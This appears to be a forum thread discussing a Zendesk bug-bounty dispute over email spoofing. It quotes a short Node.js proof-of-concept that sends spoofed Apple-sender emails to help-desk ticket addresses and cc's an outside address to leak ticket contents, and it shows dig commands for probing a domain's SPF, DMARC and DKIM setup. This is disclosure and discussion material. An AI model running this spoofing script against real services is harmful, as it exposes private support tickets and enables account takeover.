I believe their logic was that only the domain owner can adequately prevent email spoofing by proper SPF/DMARC configuration, and that it’s the customers’ fault if they don’t do that. Which isn’t entirely wrong.
I believe their logic was that only the domain owner can adequately prevent email spoofing by proper SPF/DMARC configuration, and that it’s the customers’ fault if they don’t do that. Which isn’t entirely wrong.
When you stand up a bug bounty program you get a ton of "I opened developer tools, edited the js on your page, and now the page does something bad" submissions. "I can spoof some email headers and send an email to myself that looks like it is coming from you" isn't something I've specifically seen due to some weird details about my bounty program but it is something I would absolutely expect for many programs to see.
So you need a mechanism to reject this stuff. But if that mechanism is just "triage says this is dumb" you get problems. People scream at you for having their nonsense bug rejected. People submit dozens of very slightly altered "bugs" to try to say "you rejected the last one for reason X but this one does Y." So you create a general policy: anything involving email spoofing is out of scope.
So then a real bug ends up in front of the triage person. They are tired and busy and look at the report and see "oh this relies on email spoofing, close as out of scope." Sucks.
I think that Zendesk's follow up here is crap. They shouldn't be criticizing the author for writing about this bug. But I do very much understand how things end up with a $0 payout for the initial report.
Zendesk wasn't validating the email senders.
> Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket
It's a clever attack.
const sendmail = require('sendmail')();
// Assuming the ticket you created in step #2 was assigned a ticket ID of #453
// verification email landed somewhere near there
const range = [448, 457];
for (let i = range[0]; i < range[1]; i++) {
// Send spoofed emails from Apple to Zendesk
sendmail({
from: 'appleid@id.apple.com',
to: `support+id${i}@company.com`,
cc: 'daniel@wearehackerone.com',
subject: '',
html: 'comment body',
}, function (err, reply) {
console.log(err && err.stack)
console.dir(reply)
});
}; $ dig id.apple.com TXT +short
"v=spf1 include:_spf-txn.apple.com include:_spf-mkt.apple.com include:_spf.apple.com include:icloud.com ~all"
$ dig _dmarc.id.apple.com TXT +short
"v=DMARC1; p=reject; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"Maybe someone wants to post a link?
$ dig +short id.apple.com NS
ns1-235.akam.net.
ns1-45.akam.net.
asia3.akam.net.
asia2.akam.net.
eur5.akam.net.
usw2.akam.net.
usw6.akam.net.
use1.akam.net.
We pick an arbitrary nameserver and see if the _domainkey subdomain gives NXDOMAIN or NORERROR: $ dig +noall +comments +norecurse @ns1-235.akam.net _domainkey.id.apple.com TXT | grep HEADER
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12521
Good, it gives NOERROR, which indicates the existence of subdomains. Just to be sure, we check some other arbitrary non-existing subdomain, to see if it gives NXDOMAIN as it should: $ dig +noall +comments +norecurse @ns1-235.akam.net zojglgrcqk.id.apple.com TXT | grep HEADER
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5653
Since it gives the expected NXDOMAIN, this strongly indicates that there are DNS records present on subdomains of “_domainkey.id.apple.com”; i.e. DKIM keys.(Of course, if you have ever recieved e-mail from an address @id.apple.com, you would see the selector name in the DKIM signature header, and could look up the corresponding DKIM record directly. The above method is for when you don’t have access to that.)